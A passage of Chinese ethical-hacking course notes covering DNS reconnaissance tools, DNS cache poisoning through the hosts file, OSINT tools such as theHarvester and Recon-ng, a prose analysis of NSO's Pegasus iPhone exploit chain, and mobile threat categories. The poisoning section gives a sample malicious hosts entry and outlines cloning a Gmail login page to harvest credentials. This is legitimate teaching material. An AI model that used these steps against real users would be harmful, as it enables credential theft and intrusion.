一些用户认为 dig 提供了更大的灵活性,更易于使用,并且输出更清晰。dig 安装在Kali上,启动时也会尝试从指定的名称服务器获取区域传输。

host 是一个简单、众所周知的解析器,提供了一种获取域主机IP的简单方法。对于此处显示的域,它还提供了关于邮件服务器的信息,随后对这些域的运行揭示了邮件服务器的IP。
你不太可能从名称服务器获取区域传输。但与 dig 一样,fierce 也会尝试。fierce 一个更有成效的方面是,它尝试目标域的众多变体。当我针对 dispatch.com 运行 fierce 时,它发现了600多个其他域名和IP地址,这些代表了渗透测试人员下一层的潜在目标。
DNS记录类型详解
我的一个同事运行他自己的服务器,这些是描述区域的资源记录。这是他用来更新其DNS条目的用户界面。
你看到了我之前讨论 nslookup 时提到的所有DNS记录。如果你能运行区域传输,你将获得名称服务器中所有域的此类信息。然而,如前所述,区域传输通常具有访问控制机制,需要在执行传输之前进行身份验证。
- SOA 是起始授权机构。一个区域文件中只允许有一条SOA记录,它必须是区域中的第一条资源记录。
- NS 是名称服务器记录。
- CNAME 包含别名。
- A 是地址记录。
总结
在本小节中,我讨论了域名服务以及两种可用于收集DNS信息的工具:whois 和 nslookup。dig、host 和 fierce 是在下一个子模块中我将演示使用hosts文件进行DNS毒化攻击之前,提到的其他提供类似功能的工具。


020:DNS缓存投毒攻击 🧪
在本节课中,我们将学习DNS缓存投毒攻击的原理、演示以及其在现实世界和道德黑客测试中的应用。我们将通过一个具体的例子来理解攻击者如何篡改本地DNS解析,从而将用户引导至恶意网站。
概述
DNS缓存投毒攻击是一种通过篡改DNS缓存记录,将域名解析到攻击者控制的IP地址的攻击方式。本节内容旨在配合本模块的DNS缓存投毒视频,虽然演示示例因浏览器和HTTPS的更新已不再完全适用,但其核心原理依然重要。我们将探讨攻击的实现方式、现代环境下的限制以及道德黑客如何利用此类技术进行渗透测试。
攻击原理与演示
上一节我们介绍了DNS的基本概念,本节中我们来看看一个具体的缓存投毒攻击演示。在演示中,攻击者通过修改本地的hosts文件来实现投毒。
即使将浏览器主页设置为google.com,在投毒后点击主页按钮,用户将被导向bing.com。这个演示清晰地表明,DNS解析器会优先查询本地的hosts文件。因此,修改该文件会导致用户获得非预期的访问结果。
一个更恶性的攻击可能不是切换搜索引擎,而是克隆一个如Gmail的登录页面来窃取凭证。攻击者可以通过投毒DNS缓存,将域名指向这个克隆的恶意网页,从而在用户输入凭证时进行收集。
以下是攻击的核心步骤:
- 定位目标:确定要仿冒的网站(如
gmail.com)。 - 创建克隆:搭建一个与目标网站外观一致的恶意页面。
- 修改解析:在目标用户的DNS缓存(如
hosts文件)中添加一条记录,将目标域名指向恶意服务器的IP地址。 - 收集信息:当用户访问该域名时,会被引导至克隆页面,其输入的凭证将被攻击者获取。
道德黑客在渗透测试中,可能会使用这种攻击来获取用户凭证,以此作为进入目标系统的突破口。

注意:幻灯片中使用的网站(如将
amazon.com投毒至am.de)与视频演示(Google投毒至Bing)不同,这是为了适应不同的教学场景。
现代环境下的限制
由于浏览器的安全改进和HTTPS的强制使用,早期针对Google和Bing的DNS投毒演示已不再有效。HTTPS协议依赖于SSL/TLS证书来验证服务器身份。
如果你尝试在HTTPS环境下复现该攻击,浏览器会发出安全警告。例如:
- Firefox会提示:“您的连接不安全”。
- Chrome会提示:“您的连接不是私密连接”,并指出“此网站出示的安全证书是为其他网址颁发的”。
虽然浏览器通常允许用户忽略警告继续访问,但并不推荐这样做。相比之下,使用HTTP协议或像幻灯片中提到的Amazon地址进行实验,可能不会遇到证书不匹配的警告,因此演示效果更佳。
动手实践建议

你应该在自己的计算机上尝试DNS投毒示例,以便更好地理解其运作机制。
如果你不想或不能在主机上操作,可以在道德黑客实验环境的虚拟机中进行。只需记住,在实验结束后,务必注释掉或删除对hosts文件所做的修改。
实践的核心命令是编辑hosts文件。在Windows系统中,该文件通常位于C:\Windows\System32\drivers\etc\hosts;在Linux或macOS系统中,位于/etc/hosts。你需要管理员或root权限来编辑它。
添加的投毒记录格式如下:
# 将 www.example.com 指向恶意IP 192.168.1.100
192.168.1.100 www.example.com
总结与前瞻
本节课中我们一起学习了DNS缓存投毒攻击。我们了解了攻击者如何通过篡改本地DNS解析来重定向用户流量,无论是用于恶意的凭证窃取,还是道德黑客在授权测试中获取初始访问权限。我们也认识到,随着HTTPS的普及,这类简单攻击的有效性已大大降低。

在接下来的子模块中,我们将了解Kali Linux中一些额外的信息收集工具。目标并非涵盖所有工具,而是让你对道德黑客可能需要收集的信息类型有一个初步的接触,为后续更深入的探索打下基础。
021:高级情报收集工具 🛠️
在本节课中,我们将深入学习信息收集阶段的高级工具与技术。我们将重点讨论IP地址的获取、网络路径追踪、自动化信息收集以及如何有效管理收集到的数据。
IP地址与区域互联网注册管理机构
在上一节关于从域名服务器收集信息的课程中我们提到,IP地址是渗透测试员的关键信息。IP地址为扫描提供了目标,如果检测到易受攻击的服务,它们还可能成为潜在的入口点。
因此,本节将花更多时间讨论IP地址以及可用于收集它们的工具。这是我们方法论中信息收集阶段的最后一个子模块。
互联网号码分配局(IANA)负责将互联网资源分配给区域互联网注册管理机构。这些区域注册管理机构则根据其区域政策,将资源分配给其客户,包括互联网服务提供商和最终用户组织。
美国互联网号码注册机构(ARIN)是负责美国和加拿大地区的区域互联网注册管理机构。ARIN数据库包含IP地址块的信息,对于给定的IP地址,它可以返回其所属的地址块。
以下是使用ARIN收集信息的示例:

- 对给定域名(如
jhu.edu)运行host命令。目前,该命令返回两个IP地址。 - 将这些地址输入到
www.arin.net网站,我们可以看到两个/16的IP地址块,一个属于大学主校区,另一个属于医学院。 - 如果我们要对约翰霍普金斯大学进行渗透测试,此查询允许我们将目标从一个IP地址扩展到65536个IP地址(尽管它们可能并非都与计算机相关联)。
关于CIDR表示法:
128.220.0.0/16表示前16位用于定义网络,后16位用于标识节点,即128.220.0.0到128.220.255.255,共65536个节点。- 如果我们输入
24.20.181.34,它返回24.20.0.0/15。前15位定义网络,剩余的17位定义了 2^17 个节点,即131072个节点。
无类别域间路由(CIDR)在90年代取代了传统的分类网络寻址架构。
路径追踪工具

traceroute 是一种诊断工具,用于逐跳显示IP网络中数据包的路径并测量传输延迟。所经路径的历史记录被记录为从路径中每个连续主机接收到的数据包的往返时间。其目标是确定网络拓扑结构,并找出防火墙和负载均衡器等设备在网络中的位置。
Windows中的 traceroute 发送ICMP回显请求数据包,当数据包到达目标节点时会返回响应。TCP和UDP traceroute 是其变体。然而,防火墙阻止ICMP回显请求或不常见的UDP端口的情况并不少见。

因此,基于半开连接技术的TCP traceroute 有时能更有效地穿透防火墙,因为它使用80端口和半开连接,这可以防止应用程序检测到探测。
traceroute 的基本思想是利用IP数据包中的生存时间字段。TTL字段被包含在IP数据包中,因为如果没有它,误路由或误寻址的数据包可能会在网络空间中永远传输,消耗带宽。通过在数据包中设置TTL,每个路由器都可以检查并对其采取行动。
例如:
- 如果一个非目标路由器的路由器收到一个TTL为1或0的数据包,它必须丢弃该数据包,并向源IP地址发送一个ICMP超时响应,通知它目标IP地址距离太远无法联系。
- 如果TTL大于1,则路由器将TTL减1,并将数据包转发给下一个路由器或目标IP地址(如果那是下一个节点)。
traceroute 的工作流程如下:
- 首先将TTL设置为1并发送一个回显响应请求。由于TTL为1,第一个路由器丢弃数据包并返回超时响应。这包括路由器的IP地址和时间戳信息,提供了延迟信息(计算接收时间减去发送时间,单位为毫秒)。
- 收到响应后,
traceroute打印出IP、时间,并递增TTL。 - 这次,由于TTL为2,第一个路由器递减TTL并将其转发给下一个路由器。现在TTL为1,因此数据包被第二个路由器丢弃,响应随第二个路由器的IP和传输延迟一起发回。信息被打印出来。
- TTL再次递增,我们继续处理路径中的第三个路由器。

这张幻灯片显示了从我的Windows计算机到 google.com 的 traceroute 结果。默认情况下,traceroute 向每一跳发送三个数据包。因此,输出列出了每个数据包的往返时间(RTT)以供比较。当然,可能影响RTT的一个重要因素是跳之间的物理距离。
如果 traceroute 遇到防火墙或IDS系统,RTT列中开始出现星号,并且我们会收到“请求超时”的消息。当渗透测试员想要映射防火墙后的目标网络时,如前所述,traceroute 通常会被防火墙阻止,因为防火墙通常配置为不响应这些请求。
至少,traceroute 可以告诉我们防火墙在路径中的位置,这可能是有用的信息。如果我们在防火墙内部,我们可以从A点向B点发起 traceroute,然后从B点向A点发起 traceroute 并进行比较。根据内部网络的复杂程度,我们可能会得到不同数量的跳数,因为它经过不同的路由器。无论如何,我们都将能够绘制出良好的网络映射图。
与许多渗透测试工具一样,使用 traceroute 时确实需要进行一些分析思考。以下是一个对域名进行 traceroute 的示例,但它解析并追踪到了Black Lotus(一个域名提供商),而不是实际的域名服务器本身。发生这种情况是因为Black Lotus是一个域名提供商,而实际服务器可能已关闭。如果您不注意并错误地解释信息,很容易被误导。
自动化信息收集工具:The Harvester
theHarvester 是一个工具,用于从搜索引擎、PGP密钥服务器和Shodan数据库等不同公共来源收集电子邮件、子域名、主机、员工姓名、开放端口和横幅信息。它提供了目标在互联网上的足迹。

在部分显示的示例运行中,它发现了109个电子邮件地址和18台主机。Shodan暴露了互联网上的在线设备(包括路由器和过滤器),theHarvester 利用它来提供开放端口和横幅信息。

theHarvester 还会发现基于名称的虚拟主机。服务器依赖客户端在HTTP头部中报告主机名。使用这种技术,许多不同的主机可以共享同一个IP地址,这有点类似于NAT。不幸的是,theHarvester 不是一个维护良好的工具。
以下是 theHarvester 的被动发现要素:
- Google搜索:提供电子邮件、子域名和主机名。
- Google个人资料搜索:提供员工姓名。
- Bing:微软的搜索引擎,提供与Google类似的结果,但也会提供虚拟主机信息。
- Bing API:利用微软的API,但您需要在
discovery/bingsearch.py文件中添加您的密钥。 - PGP搜索:搜索
pgp.rediris.es的PGP密钥服务器。 - LinkedIn:使用专门针对LinkedIn用户的Google搜索引擎。
- Shodan搜索引擎:搜索暴露设备的端口和横幅。
主动发现技术侧重于域名服务枚举、反向查找和顶级域名扩展。枚举功能会遍历 dns-names.txt 并尝试所有条目,但没有相关文档。并且我的 theHarvester 版本无法定位DNS字典文件,也根本找不到TLD字典。反向查找选项效果很好,但我们可以得出结论,DNS暴力破解技术可能尚未完全开发。
元数据收集工具:Metagoofil
Metagoofil 是一个信息收集工具,旨在从属于目标域的公开文档中提取元数据。典型的文件扩展名包括 .pdf、.doc、.xls、.ppt、.docx、.pptx 和 .xlsx。
Metagoofil 将在Google中执行搜索以识别文档并将其下载到本地磁盘,然后使用不同的库(如 Hachoir、PdfMiner 等)提取元数据。提取元数据后,它将生成一份包含用户名、日期、软件版本以及服务器或机器名称的报告。有可能使用提取出的用户名对任何开放服务发起暴力破解攻击。

这张幻灯片显示了 metagoofil 的选项。这是一个指向2013年黑帽大会演示文稿的链接,它向您展示了元数据的价值。
信息管理与整合工具
随着信息收集模块的结束,我们需要思考如何管理已收集的信息。您可以保留笔记本或以电子方式记录所有内容,但您必须在遵循道德黑客流程的过程中跟踪已执行的操作。如果不这样做,您将无法制定全面的渗透测试报告。如果网络很复杂,您可能会忘记报告一些重要信息。
以下是几种可能性:
- KeepNote 和 Dradis 在Kali中可用。一个关键区别是,KeepNote不支持多用户,而Dradis支持。
- 另一种方法是使用像 Recon-ng 这样的工具,它采用类似引导程序的方法捕获信息。与SET类似,Recon-ng也具有Metasploit框架的外观和感觉。它是一个侦察工具,可以自动化我们讨论过的许多数据收集技术。
它通过简单的界面为常见任务提供内置功能,例如与其数据库交互、发出Web请求以及管理API密钥。启动Recon-ng后,只需键入 help 即可查看命令行界面中可用的命令。
其中一个命令是 show,它将提供对框架功能的一些了解。作者将侦察模块描述为被动的,而发现模块是主动的。使用 load 命令加载模块后,框架的上下文可能会发生变化,并且会提供一组新的命令和选项。
该工具的核心是其数据库,每一条信息都存储在其中。一旦进入数据库,一条信息就可以作为潜在输入种子,从中可以收获新的信息。这就是该工具的真正职责:用少量信息引导数据收集过程。

add命令允许用户向数据库添加初始记录,这将为模块提供输入或种子数据。- 模块获取种子数据,通过信息收集过程将其转换为其他数据类型,并将新收集的数据作为其他模块的潜在输入存储在数据库中。
query命令有助于管理和理解数据库中存储的数据。但是,用户需要具备一些结构化查询语言的知识才能与Recon-ng的数据库交互。show schema命令提供了数据库模式的图形表示,以帮助构建SQL查询。
Recon-ng中的许多模块都依赖于API密钥进行数据收集。API密钥是Recon-ng在调用API时传递的代码,用于向网站标识自身。如果未传递API密钥,查询可能会被拒绝。当然,API密钥并非Recon-ng独有,使用API的应用程序可能需要它们。这些密钥用于跟踪和控制API的使用方式,以防止恶意使用或滥用API。
以下是侦察模块的列表。您可以看到其重点在于公司联系人、凭据、域名和位置。search 命令有助于根据已收集的信息确定在信息收集阶段下一步该做什么。侦察模块使用路径结构:recon/输入表-输出表/模块。因此,一个模块使用输入表中的信息,并为输出表收集信息,从而扩展信息数据库。
要查看所有接受域名作为输入的模块,可以搜索 domains-;要查看所有导致收获主机的模块,可以搜索 -hosts。Recon-ng是一个很好的数据收集工具,但似乎有些不成熟,因此可能处于不断变化的状态。
Recon-ng是一个被动工具,但尽管如此,拥有Recon-ng所利用数据库的人希望为他们汇编的信息收取费用。因此,对于非专业人士来说,它可能不是一个可行的工具,因为API密钥的费用会迅速增加。话虽如此,这里有几个YouTube视频演示了它的工作原理。第一个视频展示了Landmaster53进行侦察的方法论。第二个视频展示了如何通过地理标记完成物理侦察。
Recon-ng的位置表可以存储街道地址。根据物理地址,地理编码模块会返回纬度和经度。一旦我们有了经纬度,pushpin 模块将搜索该经纬度附近的地理标记媒体。该模块将搜索Twitter、Flickr、Picasa、YouTube和Shodan上的媒体。返回的图钉会按颜色编码以显示图片的来源。
正如YouTube视频中所展示的,这是使用NSA街道地址进行搜索的结果。一个有趣的事实是,有来自NSA停车场的推文、来自大楼内部的Flickr图像以及来自大楼内部的YouTube视频。pushpin 模块还会每15分钟创建一次历史记录以存档信息。当然,您可以访问来源,并实际查看这些图片。😊
总结
本子模块完成了信息收集过程。我们讨论了收集IP地址、网络映射、收获电子邮件地址、子域名和主机,以及最终从给定域上找到的文件中组装元数据。在其他子模块中,我们涵盖了物理信息收集、Google黑客、网站复制、Wayback Machine、社会工程和DNS数据收集。其中一些是主动工具,一些是被动工具。您可能已经注意到,这些工具之间存在一些重叠,但这是可以预料的,因为它们都是独立开发的。

然而,收集到的一些信息的重复并不是一个重大问题。关键是在目标不知情的情况下对目标进行足够的侦察,以便能够进入下一阶段,即对IP地址进行主动扫描并识别易受攻击的服务。不过,在进入扫描阶段之前,我们将先了解一下Web漏洞利用。
022:移动设备安全与NSO越狱攻击分析 📱
在本节课中,我们将探讨移动设备安全,并深入分析一个著名的真实攻击案例:NSO集团利用零日漏洞对iPhone发起的“越狱”攻击。我们将了解移动设备与传统有线网络计算设备的安全差异,并学习攻击者如何利用复杂的技术链控制设备。

概述
我们已经完成了渗透测试方法论的核心讨论。剩余的课程属于该框架的一部分,并符合该方法论,但通常不会包含在渗透测试报告中。第一个主题是移动设备。我们将探讨这些设备的安全性,并简要说明它们与典型有线网络计算设备的技术差异。从技术上讲,我们仍处于“利用”阶段,但焦点已转移到移动设备上。
我们将讨论NSO集团对iPhone的越狱攻击。实验部分将重点介绍智能手机渗透测试框架(SPF)作为一款道德黑客工具,可用于针对真实移动设备进行测试。由于我们没有实际设备,我们将仅在Android模拟器上探索其功能。
移动设备越狱与Root的概念 🔓
在2016年8月,各组织的移动设备管理员都陷入恐慌,试图为其公司的iPhone打补丁,因为发现了一种在野攻击可以“越狱”设备。

在本模块中,我的术语可能会混用“越狱”和“Root”这两个表达。请不要因此感到困惑。社区通常对iOS设备使用“越狱”,但其概念是相同的。这两个表达都指在设备上获取特权(最高权限)的行为。
对iPhone进行越狱有一些副作用。主要影响是,所有应用程序都能够运行特权命令。如果应用程序被恶意行为者控制,那么我们在系统上获取Root权限所关联的所有负面活动,都会在你的移动设备上造成同样的风险。
越狱的一个好处是可以移除预装的冗余软件(“膨胀软件”)。但苹果公司会立即使设备保修失效。更重要的是,由于苹果设备安全启动链的实现方式,越狱会在下一次系统升级时导致设备“变砖”。我不会深入探讨此效果的细节,但其原因是数字签名无法链接到可信根,并且你将无法再降级到旧版本的操作系统。

NSO越狱攻击的发现与影响 🕵️♂️
这次越狱攻击最初是由阿拉伯联合酋长国的一位人权捍卫者发现的。他此前曾是政府黑客攻击和间谍软件的受害者,因此对一条关于阿联酋监狱酷刑的短信产生怀疑。于是他将该信息发送给了多伦多大学的数字权利监督机构“公民实验室”。
公民实验室与移动设备安全公司Lookout合作,很快确定随短信附带的链接会对设备发起非常复杂的攻击。该攻击被认定与以色列网络战公司NSO集团相关的其他间谍软件非常相似。
这次越狱利用了设备上的三个零日漏洞,导致了内存损坏,并最终安装了间谍软件。安全社区有时将这款恶意软件称为“三叉戟”。
NSO集团的商业模式与Pegasus间谍软件 💼
事实证明,这是NSO集团的商业模式。该组织向政府出售针对手机的武器化软件。该公司的核心产品名为“Pegasus”,提供针对iOS、Android和黑莓设备的漏洞利用。
NSO集团声称,他们只向政府出售,条件是网络技术必须用于反恐或反犯罪情报工作。然而,从公众视角来看,这似乎有些难以控制——谁知道谁购买了Pegasus,或者NSO集团愿意卖给谁。
该公司对其产品守口如瓶,没有官方网站,在媒体互动方面相当隐秘,并免除自身一切责任。在一篇关于NSO集团在墨西哥出售间谍软件的较新文章中,提到了50万美元的固定安装费,外加每台设备的额外费用。但关于成本的信息最多只是推测性的。
NSO集团并未受到大量媒体关注,但据称,迈克尔·弗林在支持NSO集团运营的相关公司担任顾问时获得了巨额报酬。NSO集团面临一些竞争,但其技术已在阿联酋、墨西哥和肯尼亚浮出水面。
攻击链分析:从社会工程到持久控制 ⛓️
“三叉戟”内置了自我保护机制,同时监控自身进程以防被发现,并可以自毁。Pegasus提供对短信、iMessage、电话、FaceTime通话、电子邮件和多种社交媒体服务的远程监控。恶意软件会挂钩到应用程序中,在任何处理发生之前读取原始信息。例如,iMessage是端到端加密的,但Pegasus恶意软件会在加密发生之前读取内容。当然,一旦设备被越狱并安装了挂钩,就可能转向其他应用程序并收集信息。
该恶意软件在野外潜伏了两年才被检测到。促成攻击的零日漏洞在发现后立即被苹果修补。然而,与此同时,NSO集团可能已经发现了新的零日漏洞,也可能没有。但由于其隐秘性,当前产品的能力并不为公众所知。

攻击始于一条经过社会工程学设计的消息,并支持多种消息类型。目标是专门“钓取”收件人,并希望他点击消息中的URL。这个想法很重要。因此,在实验中,我们将探索一条包含恶意URL的短信。关于此类攻击,许多用户似乎对点击短信中的URL更加 careless,没有意识到唯一改变的是传递方式,对于链接需要保持与以往相同的警惕。
如果用户点击了URL,浏览器会打开然后关闭。这可能向用户暗示出了问题,或者他们可能只是认为这是异常行为。移动设备上的应用程序经常崩溃,因此这似乎看起来并不反常。无论如何,无论用户是否怀疑,点击后恶意软件会立即执行攻击以越狱设备,并且不会向用户提供进一步的指示。一旦设备被越狱,间谍软件即可安装,挂钩就位,间谍活动随即开始。

利用的三个零日漏洞详解 🎯
以下是攻击中利用的三个零日漏洞的简要描述:
- 第一个基于Safari浏览器的漏洞,允许任意代码执行。
- 第二个是内核漏洞,泄露了内存位置的信息。
- 第三个破坏了内存,允许以Root权限运行代码,并禁用了系统保护机制。

此时,恶意软件完全控制了设备,能够驻留固件,并打开一个回连到命令与控制服务器的连接。

攻击阶段分解
以下是攻击的分阶段技术细节:

阶段1:初始入侵
利用Webkit漏洞执行任意代码并获得初始立足点。Webkit是Safari和一些Linux应用程序使用的浏览器引擎。Android模拟器中的浏览器也使用它。进行移动性实验的人将在Android上探索类似的Webkit漏洞。
阶段2:获取Root权限
设备下载一个经过混淆的包,该包在下载后自行解密,并运行两个内核漏洞利用程序。对有效载荷进行加密的目的是规避可能存在的任何端点安全机制。一旦设备获得Root权限,就可以使用Root权限安装间谍软件。
阶段3:内存操作与权限提升
- Webkit漏洞利用内存损坏来执行任意代码。
- 第二个漏洞泄露了设备部分内存,绕过了地址空间布局随机化等保护机制。它为Pegasus提供了内核的精确位置信息。
- 一旦恶意软件映射了某些内存位置的详细信息,它就能够修改指令指针,使代码得以执行,从而在缓冲区溢出中越狱设备。在关于信息泄露的讲座中,我将讨论一个示例,精确展示其在虚拟机上的工作原理。该示例使用相同的方法来绕过ASLR:首先映射内存,一旦获知该细节,第二阶段便操纵指令指针。

阶段4:持久化与控制
恶意软件利用内存损坏来攻击内核,然后采取几个行动来越狱手机:
- 禁用内核的安全机制,包括代码签名,以便未签名的代码可以执行。
- 同时禁用越狱检测应用程序。
- 重新挂载文件系统,并将越狱代码写入文件系统。
- 最后一步是删除一个配置文件,这会强制越狱代码以Root权限加载和运行。
恶意软件通过用一个二进制文件替换系统守护进程来实现持久化,该二进制文件调用一个脚本,该脚本基本上加载重新利用内核的shellcode。重要的是要记住,代码签名检查被关闭这一事实,允许这个伪造的守护进程在系统每次重启时都能执行。

间谍软件挂钩与数据窃取机制 📞
iOS内置了防止应用程序以相互监视的方式交互的保护机制。但在已越狱的手机上,可以通过向正常进程注入动态库来安装设备挂钩。这是通过使用“Cydia Substrate”实现的,该工具最初设计用于允许第三方开发者为其应用程序提供运行时补丁。但它附带了三叉戟有效载荷,并被恶意用于将间谍软件挂钩放入设备自带的正常应用程序中。

Cydia Substrate只能在设备越狱后按原设计安装。一旦安装,它就是一个允许开发者对应用程序进行动态更改的工具。这些更改称为“Substrate扩展”,它们作为动态库插入应用程序中。通过使用提供的API在内存中进行所有更改,多个开发者可以安全地针对同一目标程序的部分进行适配。拥有越狱手机的用户也可以安装该框架,并通过选择开发者提供的不同动态库来改变应用程序的行为。
间谍软件有效载荷的组成与功能 📦

间谍软件有效载荷由多个文件组成,除了Cydia Substrate,还包括一些自我保护机制。在我看来,这些都是非常复杂的恶意软件技术。
以下是其主要组件:
- TLS证书:允许对间谍软件收集的信息进行保密的数据外泄。
- 伪造的系统守护进程:如前所述,一个未签名的伪造系统守护进程在重启时运行以实现持久性。
- 越狱检测器:移除可能已安装的任何其他后门。
- 自毁组件:当三叉戟认为已被检测到时运行。
- 反检测工具:禁用Lookout的越狱检测机制。
间谍软件本身会禁用自动更新,以便DLL库保持原位。它还禁用设备进入深度睡眠模式的能力,以保持运行、通信和监控状态的能力。用于外泄收集数据的命令与控制通道使用短信,但这些短信伪装成来自Facebook和Google等流行服务的双重认证消息,并完全模仿了非法的双重认证交换。
以下是对合法应用程序的一些重要恶意扩展:
- 系统守护进程:加载钥匙串并转储所有密码。
- WiFi密钥捕获:捕获与WiFi网络相关的Web和WPA密钥。
- 音频与消息拦截:最重要的是,根据每个Pegasus模块关联的触发器,拦截所有离开设备的音频和消息。这是通过一套模块化且可扩展的复杂音频和消息拦截库完成的。还有针对每个关键拦截协议的专用库。


总结
本节课我们深入探讨了NSO越狱攻击。尽管相关漏洞已被修补,但其技术仍有参考价值。你可以看到它与针对台式机等计算设备的攻击有一些相似之处。毕竟,移动设备的基本区别在于其外形尺寸和增加的无线通信模块。

接下来,我将更深入地探讨由于设计和生态系统而给移动设备带来的威胁。
023:移动设备威胁 📱
在本节课中,我们将学习移动设备安全威胁的演变、其独特的技术架构以及由此产生的广阔攻击面。移动设备已从简单的通话工具演变为承载大量敏感信息的个人计算中心,这使其成为攻击者极具吸引力的目标。

移动设备的演变与威胁格局
最初,移动设备只是用于拨打电话的蜂窝电话。早期的攻击目标主要是电信运营商,目的是实现免费通话。如今,随着用户开始信任这些设备并存储大量敏感个人信息,威胁格局已发生巨大变化。
移动设备与桌面计算机的平台差异
以下是移动设备与典型桌面或笔记本电脑之间的一些平台差异列表。这些差异与需要详细分析的技术相关,以寻找攻击面的任何扩展。在许多方面,这种扩展使得智能手机成为更丰富的目标,并且可能保护不足,因为安全社区可能尚未完全掌握其防护要领。

- 环境传感器:例如,许多应用程序使用地理围栏信息,但其中有多少使用是真正必要的?你的位置信息存储在哪里?
- 专用硬件子系统:用于访问蜂窝网络的硬件和固件(通常称为电话系统)通常运行实时操作系统。这个子系统俗称基带处理器。
- 安全启动与信任根:启动移动操作系统所需的固件通常会验证包括部分移动操作系统在内的额外设备代码,然后用户才能使用设备。这涉及信任根和可信启动处理器。如果初始化代码被篡改,设备可能无法正常工作。
- 安全执行环境:一些移动设备可能包含专门用于安全功能(例如加密操作或支持数字版权管理)的隔离执行和存储环境。
- 应用沙箱:移动应用程序几乎总是以某种方式被沙箱化,以防止系统、其应用程序及相关数据之间发生意外和不需要的交互。
移动设备在企业与个人环境中的风险

在工作场所,对移动设备的攻击可以为攻击者提供一个跳板,使其能够访问存储组织所有专有数据的后端基础设施。当然,设备本身可能以电子邮件或附件的形式存储了敏感的公司信息。此外,设备还提供Wi-Fi网络连接并使用VPN。工作场所设备也可能使用一次性密码来临时保护敏感交换,甚至加载软件证书。
在个人设备上,我们可能不会使用所有这些功能,但在很大程度上存在相似之处。云存储具有后端企业的许多属性。使用Wi-Fi数据连接进行的购买总是利用加密的SSL隧道,并且经常传递一次性密码用于密码重置。无论手机归谁所有,这些都代表了攻击向量。

移动生态系统与攻击面
上图展示了蜂窝设备的生态系统。我包含此图是为了说明攻击面可能比你想象的要大得多。请记住,攻击可以是双向的:生态系统可以提供进入手机的向量,手机也可以提供进入生态系统的向量。关于公共应用商店的一个评论是:它必须包含来自操作系统供应商和第三方的软件。因此,一个问题在于:第三方应用程序的保护程度如何?在某些情况下,尤其是Android设备,用户会直接从不可靠的来源(通过应用商店)获取应用程序,这显著增加了对其手机及其生态系统的威胁。
常见的移动设备威胁类别
以下是一些对移动设备更常见的威胁列表,但这远非详尽无遗。在课堂上,我总是喜欢问学生,他们的手机是否可能成为僵尸网络的一部分。移动设备僵尸网络自2011年就已存在,但大多数用户不会想到它们。手机通常比电脑更换得更频繁。但你如何检查你的手机是否已被入侵并处于僵尸网络中?我们根本没有广泛可用的工具集来检查我们的移动设备。媒体宣传过物联网设备僵尸网络,但移动设备尚未真正被视为威胁,尽管它们可以很容易地集成到同一个僵尸网络中。
另一个重要的概念是突破沙箱的能力,即在不越狱的情况下与其他应用程序交互或利用其他应用程序。
多个通信路径为移动设备提供了多个入口点。虽然计算机可能只有有线连接或Wi-Fi连接,但移动设备不仅有Wi-Fi,还有蜂窝网络、蓝牙、NFC(近场通信)和SD卡接口,以及可能易受攻击的双用途电源端口。
GPS接口则稍微复杂一些。手机通常有GPS芯片,但为了节省手机电池寿命,它们使用低功耗芯片。由于是低功耗芯片,它们也利用来自蜂窝基站的可用位置信息来更快地提供精确位置。由于这些芯片功耗低,当附近没有蜂窝基站时,它们的工作效果不佳,设备完全依赖于芯片。GPS提供了双向攻击:它不仅是入口点,而且如前所述,一旦位置信息被确定,谁获取了它以及它可能如何被滥用。
威胁类别详解
以下是威胁类别列表。我将只讨论本幻灯片上的最后四个类别,其余的将单独介绍。
- 供应链问题:供应链问题的一个方面是所有设备都在海外制造。尽管像苹果这样的公司可能非常谨慎,但生产线上可能发生管理层无人知晓的事件。这不仅涉及硬件或固件,还包括安装到新设备上的软件负载。我们有一个中国公司的例子,他们在数十万部手机上安装了秘密后门。根据Ars Technica的报道,安全公司Kryptowire在低价Android手机的固件中发现了一个后门,包括通过亚马逊和百思买在线销售的BLU产品手机。这种恶意软件在未经用户许可或知情的情况下,将个人身份信息、通话记录、短信消息和联系人信息发送到中国的服务器。
- 企业移动管理:一旦攻击者能够访问设备,就会面临一些威胁。企业移动管理系统为企业管理移动设备提供了基础设施。它们可以帮助向所有设备部署策略并监控设备状态。示例策略包括:只允许白名单中的应用程序运行、确保满足锁屏策略、以及禁用某些设备外围设备(如摄像头)。这个攻击面显然是间接的,但显然是系统安全工程师需要担心的事情。
- 移动支付威胁:与移动支付相关的威胁包括诸如USSD(我们将在实验中探索)等技术,但其他可攻击的支付方法还包括NFC、金融科技和信用卡令牌化。
- 技术栈攻击:移动设备技术栈由用于托管和操作移动设备的硬件、固件和软件组成。这是对该技术栈的潜在攻击列表。
- 协议与服务攻击:这是使用可能被攻击的协议的服务列表。除了蜂窝协议外,其他协议可能都很熟悉。蜂窝协议包括连接到基站的蜂窝空中接口、扩展蜂窝覆盖范围的小型消费者蜂窝基站、消息服务、USSD、信令系统7和LTE。
- 认证点攻击:基础设施中进行身份验证的三个地方也容易受到攻击。我们遇到的第一个是本地认证,即每次登录手机时,无论使用密码、指纹还是语音识别。第二个是用户或设备到远程服务的认证,包括可能由用户完成但也可以由设备本身完成的远程认证。这涉及对外部进程、服务或设备的远程认证。最后一个认证点是当用户或设备想要访问网络(Wi-Fi或蜂窝网络)时,通常在授予服务访问权限之前涉及使用加密令牌。
生态系统、社会工程与软件漏洞
我之前提到过生态系统威胁。存在许多挑战,但有两个大问题尤为突出。一个大问题是,一些公共商店提供应用程序访问,但所有者没有充分审查应用程序的流程。第二个问题是,第三方商店通常由任何供应商之外的组织拥有和运营,恶意应用程序的下载和安装为基于社会工程技术的攻击提供了敞开的向量。
带有恶意链接的社会工程短信是一种明显的攻击方式,但令人担忧的是,用户对点击短信链接不像对点击电子邮件中的链接那样谨慎。这可能是一个培训问题。我们的机构曾教导甚至测试我们关于电子邮件中的恶意链接,但短信中的恶意链接没有得到同样的重视。然而,风险同样高,移动设备上数据的敏感性同样关键。
移动设备与桌面计算机之间的一个重大区别是我们下载新应用程序的频率,这增加了获取恶意软件的机会,特别是当应用商店或第三方不是经过适当审查的来源时。
当然,软件漏洞的威胁并不会因为我们拥有不同的设备形态而改变。软件存在缺陷,并且可能拥有比我们愿意想象的更多的未被发现的漏洞。而最难保护的软件之一就是浏览器。此外,在移动环境中,存在软件技术差异,并且软件版本并不总是像桌面浏览器那样经过仔细检查,尤其是在开发人员急于为所有设备形态创建响应式设计时。
总结

